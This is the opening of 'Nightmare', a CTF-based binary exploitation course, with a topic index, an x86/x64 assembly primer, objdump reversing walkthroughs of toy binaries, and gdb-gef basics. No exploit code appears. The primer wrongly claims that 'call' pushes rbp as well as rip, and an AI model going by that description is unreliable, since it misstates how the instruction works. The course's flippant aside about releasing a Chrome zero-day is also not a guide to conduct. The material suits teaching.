Nightmare

Nightmare is an intro to binary exploitation / reverse engineering course based around ctf challenges. I call it that because it's a lot of people's nightmare to get hit by weaponized 0 days, which these skills directly translate into doing that type of work (plus it's a really cool song).

What makes Nightmare different?

It's true there are a lot of resources out there to learn binary exploitation / reverse engineering skills, so what makes this different?

```
*    Amount of Content              -    There is a large amount of content in
this course (currently over 90 challenges), laid out in a linear fashion.

*    Well Documented Write Ups         -    Each challenge comes with a well
documented writeup explaining how to go from being handed the binary to doing
the exploit dev.

*    Multiple Problems per Topic     -    Most modules have multiple different
challenges. This way you can use one to learn how the attack works, and then
apply it to the others. Also different iterations of the problem will have
knowledge needed to solve it.

*    Using all open source tools     -    All the tools used here are free and
open sourced. No IDA torrent needed.

*    A Place to Ask Questions         -    So if you have a problem that you've
been working for days and can't get anywhere (and google isn't helping).
```

I have found that resources that have many of these things to be few and far between. As a result it can make learning these skills difficult since you don't really know what to learn, or how to learn it. This is essentially my attempt to help fix some of those problems.

Static Site

If you want, there is a static github pages site which people say looks better: https://guyinatuxedo.github.io/

If you want to manually build the site, I just used mdbook. After installing rust and cargo, just install mdbook with `sudo cargo install mdbook`. Then just run `mdbook build`.

Github

A copy of all of the challenges listed, can be found on the github: https://github.com/guyinatuxedo/nightmare

Special Thanks

Special thanks to these people:

```
noopnoop     -    For dealing with me
digitalcold  -    For showing me how good nightmare could look with mdbook
you nerds     -    For looking at this
```

Discord

If you get stuck on something for hours on end and google can't answer your question, try asking in the discord (or if you just feel like talking about cool security things). Here is a link to it `https://discord.gg/p5E3VZF`

Also if you notice any typos or mistakes, feel free to mention it in the Discord. With how much content is here, there is bound to be at least one.

Index

Here is the index for all of the content in this course. Feel free to go through the whole thing, or only parts of it (don't let me tell you how to live your life). For the order that you do the challenges in a module, I would recommend starting with the first.

Intro Departure

0.) Intro to the Project

1.) Intro to Assembly

- Intro to assembly
- Sample assembly reverse challs

2.) Intro to Tooling

- gdb-gef
- pwntools
- ghidra

3.) Beginner RE

- pico18_strings
- helithumper_re
- csaw18_tourofx86pt1
- csaw19_beleaf

Stack pt 0 Stack Tendencies

4.) Buffer Overflow of Variables

- Csaw18/boi
- TokyoWesterns17/just_do_it
- Tamu19_pwn1

5.) Buffer Overflow Call Function

- Csaw18_getit
- Tu17_vulnchat
- Csaw16_warmup

5.1) aslr/pie intro

- quick aslr/pie explanation

6.) Buffer Overflow Call Shellcode

- Tamu19_pwn3
- Csaw17_pilot
- Tu18_shelleasy

6.1) nx intro

- nx explanation

7.) ROP Chain Statically compiled

- dcquals19_speedrun1
- bkp16_simplecalc
- dcquals16_feedme

7.1) stack canary intro

- stack canary introduction

7.2) relro intro

- relro introduction

8.) ROP Dynamically Compiled

- csaw17_svc
- fb19_overfloat
- hs19_storytime
- csaw19_babyboi
- utc19_shellme

General pt 0 Stardust Challenges

9.) Bad Seed

- h3_time

- hsctf19_tuxtalkshow
- sunshinectf17_prepared

10.) Format strings

- backdoor17_bbpwn
- twesterns16_greeting
- pico_echo
- watevr19_betstar

11.) Index Array

- dcquals16_xkcd
- sawmpctf19_dreamheaps
- sunshinectf2017_alternativesolution

12.) Z3

- tokyowesterns17_revrevrev
- tuctf_future
- hsctf19_abyte

13.) Angr

- securityfest_fairlight
- plaid19_icancount
- defcamp15_r100

Stack pt 1 Return to Stack, truly a perfect game

14.) Ret2system

- asis17_marymorton
- hxp18_poorcanary
- tu_guestbook

15.) Partial Overwrite

- Tu17_vulnchat2
- Tamu19_pwn2
- hacklu15_stackstuff

16.) SROP

- backdoorctf_funsignals
- inctf17_stupiddrop
- swamp19_syscaller
- csaw19_smallboi

17.) Stack Pivot / Partial Overwrite

- defconquals19_speedrun4
- insomnihack18_onewrite
- xctf16_b0verfl0w

18.) Ret2Csu / Ret2dl

- ropemporium_ret2csu
- 0ctf 2018 babystack

General pt 1 Armstrong challenges

19.) Shellcoding pt 1

- defconquals19_s3
- Csaw18_shellpointcode
- defconquals19_s6

20.) Patching/Jumping

- dcquals18_elfcrumble
- plaid19_plaid_part_planning_III
- csaw16_gametime

21.) .NET Reversing

- csaw13_dotnet
- csaw13_bikinibonanza
- whitehat18_re06

22.) Movfuscation

- sawmpctf19_future
- asis18quals_babyc
- other_movfuscated

23.) Custom Architectures

- h3_challenge0
- h3_challenge1
- h3_challenge2
- h3_challenge3

Heap Pt 0 rip Angel Beats

24.) Basic Heap overflow

- protostar_heap1
- protostar_heap0
- protostar_heap2

25.) Intro to heap exploitation / binning

- explanation

26.) Heap Grooming

- explanation
- swamp19_heapgolf
- pico_areyouroot

27.) Edit Freed Chunk (pure explanation)

- Use After Free
- Double Free
- Null Byte Heap Consolidation

28.) Fastbin Attack

- explanation
- 0ctf18_babyheap
- csaw17_auir

29.) tcache

- explanation
- dcquals19_babyheap
- plaid19_cpp

30.) unlink

- explanation
- hitcon14_stkof
- zctf16_note

31.) Unsorted Bin Attack

- explanation
- hitcon_magicheap
- 0ctf16_zer0storage

32.) Large Bin Attack

- largebin0_explanation
- largebin1_explanation

33.) Custom Malloc

- csawquals17_minesweeper
- csawquals18_AliensVSSamurai
- csawquals19_traveller

General Pt 2 Generic Isekai #367

34.) Qemu / Emulated Targets

- csaw18_tour_of_x86_pt_2
- csaw15_hackingtime
- csaw17_realism

35.) Integer Exploitation

- puzzle
- int_overflow_post
- signed_unsigned_int_expl

36.) Obfuscated Reversing

- csaw15_wyvern
- csaw17_prophecy
- bkp16_unholy

37.) FS Exploitation

- swamp19_badfile

38.) Grab Bag

- csaw18_doubletrouble
- hackim19_shop
- unit_vars_expl
- csaw19_gibberish

Heap pt 1 heap x heap

39.) House of Spirit

- explanation
- hacklu14_oreo

40.) House of Lore

- explanation

41.) House of Force

- explanation
- bkp16_cookbook

42.) House of Einherjar

- explanation

43.) House of Orange

- explanation

44.) More tcache

- csaw19_poppingCaps0
- csaw19_poppingCaps1

45.) Automatic Exploit Generation

- csaw20_rop

Ending Documentation

- References
- What's next

Intro

So I just want to say a few things for the people who are super new to binary exploitation / reverse engineering. If you are already familiar with assembly code / binary exploitation and reverse engineering, and tools like ghidra / pwntools / gdb, feel free to skip this whole section (and any other content you already know). The purpose of this section is to give sort of an introduction to the super new people.

Binary Exploitation

First off what's a binary?

A binary is compiled code. When a programmer writes code in a language like C, the C code isn't what gets actually ran. It is compiled into a binary and the binary is run. Binary exploitation is the process of actually exploiting a binary, but what does that mean?

In a lot of code, you will find bugs. Think of a bug as a mistake in code that will allow for unintended functionality. As an attacker we can leverage this bug to attack the binary, and actually force it to do what we want by getting code execution. That means we actually have the binary execute code that we say, and can essentially hack the code.

Reverse Engineering

What is reverse engineering?

Reverse engineering is the process of figuring out how something works. It is a critical part of binary exploitation, since most of the time you are just handed a binary without any clue as to what it does. You have to figure out how it works, so you can attack it.

Objective

Most of the time, your objective is to obtain code execution on a box and pop a shell. If you have a different objective, it will usually be stated on the top line of the writeup. In almost every instance where your objective isn't to pop a shell, it's to some get ctf flag associated with this challenge, from the binary.

What should I know going into this course?

There are a few areas that will help. If you know how to code, that will help. If you know how to code somewhat low level languages like C, that will help more. Also an understanding of the basics of how to use linux helps a lot. But realistically, the only thing you really need is the ability to google things, and find answers by yourself.

Why CTF Challenges?

The reason why I went with ctf challenges for teaching binary exploitation / reverse engineering, is because most challenges only contains a small subset of exploitation knowledge. With that I can split it up into different subjects like `buffer overflow into calling shellcode` and `fast bin exploitation`, so it can be covered like a somewhat normal course.

Environment

For your environment to actually do this work, I would recommend having an Ubuntu VM. However don't let me tell you how to live your life.

Why Should I do this?

First off, I find it fun (if you don't find this fun, I wouldn't recommend doing this). Plus there are a lot of jobs out there to do this work, with not a lot of people to do the work. Plus who doesn't want to drop that chrome 0 day and watch the world burn?

Difficulty curve

One thing I want to say, is the difficulty curve in my opinion is like that of a roller coaster that goes up and down. There are certain parts that are easier, and certain parts that are harder. Granted difficulty is relative to the person.

Introduction to Assembly

So the first big wall you will need to tackle is starting to learn assembly. It may be a little bit tough, but it is perfectly doable and a critical step for what comes after. To start this off, I would recommend watching this video. It was made by the guy who actually got me interested in this line of work. I started off learning assembly by watching this video like 4 times. It's really well put together:

```
https://www.youtube.com/watch?v=75gBFiFtAb8
```

Now that you have watched the video, I will just have some documentation explaining some of the concepts around assembly code. A lot of this will be a repeat of that video, some of it won't be. Also all of this documentation will be for the Intel syntax. Also one thing you don't need to have everything here memorized before moving on, and parts of it will make more sense when you actually see it in action.

Compiling

So first off, what is assembly code? Assembly code is the code that actually runs on your computer by the processor. For instance take some C code:

```
#include <stdio.h>

void main(void)
{
    puts("Hello World!");
}
```

That code isn't ran. Thing is that code is compiled into assembly code, which looks like this:

```
0000000000001135 <main>:
    1135:       55                      push   rbp
    1136:       48 89 e5                mov    rbp,rsp
    1139:       48 8d 3d c4 0e 00 00    lea    rdi,[rip+0xec4]        # 2004
<_IO_stdin_used+0x4>
    1140:       e8 eb fe ff ff          call   1030 <puts@plt>
    1145:       90                      nop
    1146:       5d                      pop    rbp
    1147:       c3                      ret
    1148:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
    114f:       00
```

The purpose of languages like C, is that we can program without having to really deal with assembly code. We write code that is handed to a compiler, and the compiler takes that code and generates assembly code that will accomplish whatever the C code tells it to. Then the assembly code is what is actually ran on the processor. Since this is the code that is actually ran, it helps to understand it. Also since most of the time we are handed compiled binaries we only have the assembly code to work from. However we have tools such as Ghidra that will take compiled assembly code and give us a view of what it thinks the C code that the code was compiled from looks like, so we don't need to read endless lines of assembly code.

Also with assembly code, there is a lot of different architectures. Different types of processors can run different types of assembly code architectures. The two we are dealing with the most here will be 64 bit, and 32 bit ELF (Executable and Linkable Format). I will often call these two things `x64` and `x86`.

Registers

Registers are essentially places that the processor can store memory. You can think of them as buckets which the processor can store information in. Here is a list of the `x64` registers, and what their common use cases are.

```
rbp: Base Pointer, points to the bottom of the current stack frame
rsp: Stack Pointer, points to the top of the current stack frame
rip: Instruction Pointer, points to the instruction to be executed

General Purpose Registers
These can be used for a variety of different things
rax:
rbx:
rcx:
rdx:
rsi:
rdi:
r8:
r9:
r10:
r11:
r12:
r13:
r14:
r15:
```

In `x64` linux arguments to a function are passed via registers. The first few args are passed by these registers:

```
rdi:    First Argument
rsi:    Second Argument
rdx:    Third Argument
rcx:    Fourth Argument
r8:     Fifth Argument
r9:     Sixth Argument
```

With the `x86` elf architecture, arguments are passed on the stack. Also one thing as you may know, in C function can return a value. In `x64`, this value is passed in the `rax` register. In `x86` this value is passed in the `eax` register.

Also one thing, there are different sizes for registers. These typical sizes we will be dealing with are `8` bytes, `4` bytes, `2` bytes, and `1`. The reason for these different sizes is due to the advancement of technology, we can store more data in a register.

8 Byte Register	Lower 4 Bytes	Lower 2 Bytes	Lower Byte
rbp	ebp	bp	bpl
rsp	esp	sp	spl
rip	eip		
rax	eax	ax	al
rbx	ebx	bx	bl
rcx	ecx	cx	cl
rdx	edx	dx	dl
rsi	esi	si	sil
rdi	edi	di	dil
r8	r8d	r8w	r8b
r9	r9d	r9w	r9b
r10	r10d	r10w	r10b
r11	r11d	r11w	r11b
r12	r12d	r12w	r12b
r13	r13d	r13w	r13b
r14	r14d	r14w	r14b
r15	r15d	r15w	r15b

In `x64` we will see the `8` byte registers. However in `x86` the largest sized registers we can use are the `4` byte registers like `ebp`, `esp`, `eip` etc. Now we can also use smaller registers, than the maximum sized registers for the architecture.

In `x64` there is the `rax`, `eax`, `ax`, and `al` register. The `rax` register points to the full `8`. The `eax` register is just the lower four bytes of the `rax` register. The `ax` register is the last `2` bytes of the `rax` register. Lastly the `al` register is the last byte of the `rax` register.

Words

You might hear the term word throughout this. A word is just two bytes of data. A dword is four bytes of data. A qword is eight bytes of data.

Stacks

Now one of the most common memory regions you will be dealing with is the stack. It is where local variables in the code are stored.

For instance, in this code the variable `x` is stored in the stack:

```
#include <stdio.h>

void main(void)
{
    int x = 5;
    puts("hi");
}
```

Specifically we can see it is stored on the stack at `rbp-0x4`.

```
0000000000001135 <main>:
    1135:       55                      push   rbp
    1136:       48 89 e5                mov    rbp,rsp
    1139:       48 83 ec 10             sub    rsp,0x10
    113d:       c7 45 fc 05 00 00 00    mov    DWORD PTR [rbp-0x4],0x5
    1144:       48 8d 3d b9 0e 00 00    lea    rdi,[rip+0xeb9]        # 2004
<_IO_stdin_used+0x4>
    114b:       e8 e0 fe ff ff          call   1030 <puts@plt>
    1150:       90                      nop
    1151:       c9                      leave
    1152:       c3                      ret
    1153:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
    115a:       00 00 00
    115d:       0f 1f 00                nop    DWORD PTR [rax]
```

Now values on the stack are moved on by either pushing them onto the stack, or popping them off. That is the only way to add or remove values from the stack (it is a LIFO data structure). However we can reference values on the stack.

The exact bounds of the stack is recorded by two registers, `rbp` and `rsp`. The base pointer `rbp` points to the bottom of the stack. The stack pointer `rsp` points to the top of the stack.

Flags

There is one register that contains flags. A flag is a particular bit of this register. If it is set or not, will typically mean something. Here is the list of flags.

```
00:     Carry Flag
01:     always 1
02:     Parity Flag
03:     always 0
04:     Adjust Flag
05:     always 0
06:     Zero Flag
07:     Sign Flag
08:     Trap Flag
09:     Interruption Flag
10:     Direction Flag
11:     Overflow Flag
12:     I/O Privilege Field lower bit
13:     I/O Privilege Field higher bit
14:     Nested Task Flag
15:     Resume Flag
```

There are other flags then the one listed, however we really don't deal with them too much (and out of these, there are only a few we actively deal with).

If you want to hear more about this, checkout: https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture

Instructions

Now we will be covering some of the more common instructions you will see. This isn't everything you will see, but here are the more common things you will see.

mov

The move instruction just moves data from one register to another. For instance:

```
mov rax, rdx
```

This will just move the data from the `rdx` register to the `rax` register.

dereference

If you ever see brackets like `[]`, they are meant to dereference, which deals with pointers. A pointer is a value that points to a particular memory address (it is a memory address). Dereferencing a pointer means to treat a pointer like the value it points to. For instance:

```
mov rax, [rdx]
```

Will move the value pointed to by `rdx` into the `rax` register. On the flipside:

```
mov [rax], rdx
```

Will move the value of the `rdx` register into whatever memory is pointed to by the `rax` register. The actual value of the `rax` register does not change.

lea

The lea instruction calculates the address of the second operand, and moves that address in the first. For instance:

```
lea rdi, [rbx+0x10]
```

This will move the address `rbx+0x10` into the `rdi` register.

add

This just adds the two values together, and stores the sum in the first argument. For instance:

```
add rax, rdx
```

That will set `rax` equal to `rax + rdx`

sub

This value will subtract the second operand from the first one, and store the difference in the first argument. For instance:

```
sub rsp, 0x10
```

This will set the `rsp` register equal to `rsp - 0x10`

xor

This will perform the binary operation xor on the two arguments it is given, and stores the result in the first operation:

```
xor rdx, rax
```

That will set the `rdx` register equal to `rdx ^ rax`.

The `and` and `or` operations essentially do the same thing, except with the and or or binary operators.

push

The `push` instruction will grow the stack by either `8` bytes (for `x64`, `4` for `x86`), then push the contents of a register onto the new stack space. For instance:

```
push rax
```

This will grow the stack by `8` bytes, and the contents of the `rax` register will be on top of the stack.

pop

The `pop` instruction will pop the top `8` bytes (for `x64`, `4` for `x86`) off of the stack and into the argument. Then it will shrink the stack. For instance:

```
pop rax
```

The top `8` bytes of the stack will end up in the `rax` register.

jmp

The `jmp` instruction will jump to an instruction address. It is used to redirect code execution. For instance:

```
jmp 0x602010
```

That instruction will cause the code execution to jump to `0x602010`, and execute whatever instruction is there.

call & ret

This is similar to the `jmp` instruction. The difference is it will push the values of `rbp` and `rip` onto the stack, then jump to whatever address it is given. This is used for calling functions. After the function is finished, a `ret` instruction is called which uses the pushed values of `rbp` and `rip` (saved base and instruction pointers) it can continue execution right where it left off

cmp

The cmp instruction is similar to that of the sub instruction. Except it doesn't store the result in the first argument. It checks if the result is less than zero, greater than zero, or equal to zero. Depending on the value it will set the flags accordingly.

jnz / jz

This `jump if not zero` and `jump if zero` (`jnz/jz`) instructions are pretty similar to the jump instruction. The difference is they will only execute the jump depending on the status of the `zero` flag. For `jz` it will only jump if the `zero` flag is set. The opposite is true for `jnz`.

Assembly Reversing Problems

These are some basic assembly reversing problems from: https://github.com/kablaa/CTF-Workshop/blob/master/Reversing/Challenges/IfThen/if_then

The purpose of these challenges is to get some experience reversing assembly code. Try to figure out what the binaries are doing. To view disassembly machine code into assembly code, you can use something like `objdump`.

Hello World

First let's take a look at the assembly code:

```
$    objdump -D hello_world -M intel | less
```

After searching through for the string `main` to find the main function, we see this:

```
080483fb <main>:
 80483fb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80483ff:       83 e4 f0                and    esp,0xfffffff0
 8048402:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048405:       55                      push   ebp
 8048406:       89 e5                   mov    ebp,esp
 8048408:       51                      push   ecx
 8048409:       83 ec 04                sub    esp,0x4
 804840c:       83 ec 0c                sub    esp,0xc
 804840f:       68 b0 84 04 08          push   0x80484b0
 8048414:       e8 b7 fe ff ff          call   80482d0 <puts@plt>
 8048419:       83 c4 10                add    esp,0x10
 804841c:       b8 00 00 00 00          mov    eax,0x0
 8048421:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 8048424:       c9                      leave
 8048425:       8d 61 fc                lea    esp,[ecx-0x4]
 8048428:       c3                      ret
 8048429:       66 90                   xchg   ax,ax
 804842b:       66 90                   xchg   ax,ax
 804842d:       66 90                   xchg   ax,ax
 804842f:       90                      nop
```

Looking at the code, we see a function call to `puts` :

```
push   0x80484b0
call   80482d0 <puts@plt>
```

Looking through the rest of the code, we really don't see much else that is interesting for our perspective. So this code probably just prints a string. When we run the binary, we see that is correct:

```
$    ./hello_world
hello world!
```

If then

We start off by viewing the assembly code with `objdump` :

```
$    objdump -D if_then -M intel | less
```

After parsing through for the `main` function, we see this.

```
080483fb <main>:
 80483fb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80483ff:       83 e4 f0                and    esp,0xfffffff0
 8048402:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048405:       55                      push   ebp
 8048406:       89 e5                   mov    ebp,esp
 8048408:       51                      push   ecx
 8048409:       83 ec 14                sub    esp,0x14
 804840c:       c7 45 f4 0a 00 00 00    mov    DWORD PTR [ebp-0xc],0xa
 8048413:       83 7d f4 0a             cmp    DWORD PTR [ebp-0xc],0xa
 8048417:       75 10                   jne    8048429 <main+0x2e>
 8048419:       83 ec 0c                sub    esp,0xc
 804841c:       68 c0 84 04 08          push   0x80484c0
 8048421:       e8 aa fe ff ff          call   80482d0 <puts@plt>
 8048426:       83 c4 10                add    esp,0x10
 8048429:       b8 00 00 00 00          mov    eax,0x0
 804842e:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 8048431:       c9                      leave
 8048432:       8d 61 fc                lea    esp,[ecx-0x4]
 8048435:       c3                      ret
 8048436:       66 90                   xchg   ax,ax
 8048438:       66 90                   xchg   ax,ax
 804843a:       66 90                   xchg   ax,ax
 804843c:       66 90                   xchg   ax,ax
 804843e:       66 90                   xchg   ax,ax
```

We can see that it loads the value `0xa` into `ebp-0xc`:

```
mov    DWORD PTR [ebp-0xc],0xa
```

Immediately proceeding that, we see that it runs a `cmp` instruction on it to check if it is equal. If they are not equal it will jump to `main+0x2e`. Since it was just loaded with the value `0xa`, it should not make the jump:

```
cmp    DWORD PTR [ebp-0xc],0xa
jne    8048429 <main+0x2e>
```

proceeding that it should make a call to puts:

```
sub    esp,0xc
push   0x80484c0
call   80482d0 <puts@plt>
```

So after looking at this code, we see that it should make that `puts` call. When we run it, we see that is what it does:

```
$    ./if_then
x = ten
```

Loop

Let's take a look at the assembly code:

```
$    objdump -D loop -M intel | less
```

Quickly searching for the main function, we find it:

```
080483fb <main>:
 80483fb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80483ff:       83 e4 f0                and    esp,0xfffffff0
 8048402:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048405:       55                      push   ebp
 8048406:       89 e5                   mov    ebp,esp
 8048408:       51                      push   ecx
 8048409:       83 ec 14                sub    esp,0x14
 804840c:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 8048413:       eb 17                   jmp    804842c <main+0x31>
 8048415:       83 ec 08                sub    esp,0x8
 8048418:       ff 75 f4                push   DWORD PTR [ebp-0xc]
 804841b:       68 c0 84 04 08          push   0x80484c0
 8048420:       e8 ab fe ff ff          call   80482d0 <printf@plt>
 8048425:       83 c4 10                add    esp,0x10
 8048428:       83 45 f4 01             add    DWORD PTR [ebp-0xc],0x1
 804842c:       83 7d f4 13             cmp    DWORD PTR [ebp-0xc],0x13
 8048430:       7e e3                   jle    8048415 <main+0x1a>
 8048432:       b8 00 00 00 00          mov    eax,0x0
 8048437:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804843a:       c9                      leave
 804843b:       8d 61 fc                lea    esp,[ecx-0x4]
 804843e:       c3                      ret
 804843f:       90                      nop
```

In this function, we can see that it will initialize a stack variable at `ebp-0xc` to `0`, then jump to `0x804842c` (`main+0x31`):

```
mov    DWORD PTR [ebp-0xc],0x0
jmp    804842c <main+0x31>
```

Looking at the instructions at `0x804842c` we see this:

```
cmp    DWORD PTR [ebp-0xc],0x13
jle    8048415 <main+0x1a>
```

We see that it compares the stack value at `ebp-0xc` against `0x13`, and if it is less than or equal then it will jump to `0x8048415` (`0x80483fb + 0x1a`). That brings us to a printf call:

```
sub    esp,0x8
push   DWORD PTR [ebp-0xc]
push   0x80484c0
call   80482d0 <printf@plt>
```

It looks like it is printing out the contents of `ebp-0xc` in some sort of format string. After that we can see that it increments the value of `ebp-0xc` , before doing the `cmp` again:

```
add    DWORD PTR [ebp-0xc],0x1
```

So right, putting all of the pieces together, now we are probably looking at a for loop that will run `20` times, and print the iteration counter each time. Something that looks similar to this:

```
int i = 0;
for (i = 0; i < 20; i ++)
{
    printf("%d", i);
}
```

When we run the binary, we see that it is true:

```
$    ./loop
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
```

ghidra

Ghidra is an open sourced decompiler. A compiler takes source code like C, and converts it into machine code. A decompiler tries to do the opposite. It takes machine code and generates code that resembles it's source code. However, since the process of compiling source code isn't like a 1 to 1 function, the code it gives us isn't always 100% correct. Even with that it can be a great help, and really reduce the amount of time we spend reversing challenges (btw reversing is just the process of figuring out what something does).

Installation

Installation is pretty simple. Install Java, then you just run ghidra (since ghidra was written in java). Google can help with this.

Using it

Since we are primarily using Ghidra's GUI, I feel that the best way to learn how to use Ghidra would be to either try it yourself, or watch some videos (versus just reading a lot of text). Feel free to look into this yourself, and / or try some of these videos/links that helpful people on the internet made. You don't need to understand :

```
https://www.youtube.com/watch?v=fTGTnrgjuGA
https://www.youtube.com/watch?v=OJlKtRgC68U
https://threatvector.cylance.com/en_us/home/an-introduction-to-code-analysis-
with-ghidra.html
https://ghidra-sre.org/InstallationGuide.html
```

Also after this, I would recommend having a linux VM (I typically use Ubuntu for ctfing).

gdb-gef

This file was contributed to by `deveynull` (also made the hello_world binary)

So throughout this project, we will be using a lot of different tools. The purpose of this module is to show you some of the basics of three of those tools. We will start with gdb-gef.

First off, gdb is a debugger (specifically the gnu debugger). Gef is an a gdb wrapper, designed to give us some extended features (https://github.com/hugsy/gef). To install it, you can find the instructions on the github page. it's super simple.

A debugger is software that allows us to perform various types of analysis of a process as it's running, and alter it in a variety of different ways.

Now you can tell if you have it installed by just looking at gdb. For instance this is the look of gdb if you have gef installed:

```
$ gdb
GNU gdb (Ubuntu 8.2.91.20190405-0ubuntu3) 8.2.91.20190405-git
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.2.91.20190405-git using Python engine 3.7
[*] 5 commands could not be loaded, run `gef missing` to know why.
gef➤
```

If you don't have it installed this is what vanilla gdb looks like:

```
$    gdb
GNU gdb (Ubuntu 8.2.91.20190405-0ubuntu3) 8.2.91.20190405-git
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb)
```

Running

To run the binary `hello_world` in gdb:

```
gdb ./hello_world
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./hello_world...(no debugging symbols found)...done.
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world
hello world!
[Inferior 1 (process 9133) exited normally]
```

In order to enter debugger mode, we can set breakpoints. Breakpoints are places in the program where GDB will know to stop execution to allow you to examine the contents of the stack. The most common breakpoint to set is on main, which we can set with 'break main' or 'b main'. Most GDB commands can be shortened. Check out this cheat sheet for more:

```
gef➤  break main
Breakpoint 1 at 0x8048409
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers
────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0e4  →  0xffffd100  →  0x00000001
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0
$eip   : 0x08048409  →  <main+14> sub esp, 0x4
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────── stack
────
0xffffd0e4│+0x0000: 0xffffd100  →  0x00000001    ← $esp
0xffffd0e8│+0x0004: 0x00000000   ← $ebp
0xffffd0ec│+0x0008: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
0xffffd0f0│+0x000c: 0xf7fb8000  →  0x001d4d6c
0xffffd0f4│+0x0010: 0xf7fb8000  →  0x001d4d6c
0xffffd0f8│+0x0014: 0x00000000
0xffffd0fc│+0x0018: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
0xffffd100│+0x001c: 0x00000001
────────────────────────────────────────────────────────────── code:x86:32
────
    0x8048405 <main+10>        push   ebp
    0x8048406 <main+11>        mov    ebp, esp
    0x8048408 <main+13>        push   ecx
 →  0x8048409 <main+14>        sub    esp, 0x4
    0x804840c <main+17>        sub    esp, 0xc
    0x804840f <main+20>        push   0x80484b0
    0x8048414 <main+25>        call   0x80482d0 <puts@plt>
    0x8048419 <main+30>        add    esp, 0x10
    0x804841c <main+33>        mov    eax, 0x0
────────────────────────────────────────────────────────────────── threads
────
[#0] Id 1, Name: "hello_world", stopped 0x8048409 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace
────
[#0] 0x8048409 → main()
─────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048409 in main ()
```

Now you can step through the function by typing 'nexti' until the program ends. 'nexti' will have you go instruction by intruction through the program, but will not step into function calls such as puts.

Other ways to navigate a program are:

- 'next' - which will take you through one line of code, but will step over function calls such as puts.
- 'step' - which will take you through one line of code, but will step into function calls
- 'stepi' - whch will take you through one instruction at a time, stepping into function calls

For each of these methods, work through the program after setting a breakpoint in main. Take specific care to see what step and stepi see after entering puts. Most of the time, because those are part of standard libraries, we don't need to step into anything.

Breakpoints

Let's take a look at the main function using 'disassemble' or 'disass':

```
gef➤  disass main
Dump of assembler code for function main:
   0x080483fb <+0>:     lea    ecx,[esp+0x4]
   0x080483ff <+4>:     and    esp,0xfffffff0
   0x08048402 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:    push   ebp
   0x08048406 <+11>:    mov    ebp,esp
   0x08048408 <+13>:    push   ecx
   0x08048409 <+14>:    sub    esp,0x4
   0x0804840c <+17>:    sub    esp,0xc
   0x0804840f <+20>:    push   0x80484b0
   0x08048414 <+25>:    call   0x80482d0 <puts@plt>
   0x08048419 <+30>:    add    esp,0x10
   0x0804841c <+33>:    mov    eax,0x0
   0x08048421 <+38>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048424 <+41>:    leave
   0x08048425 <+42>:    lea    esp,[ecx-0x4]
   0x08048428 <+45>:    ret
End of assembler dump.
```

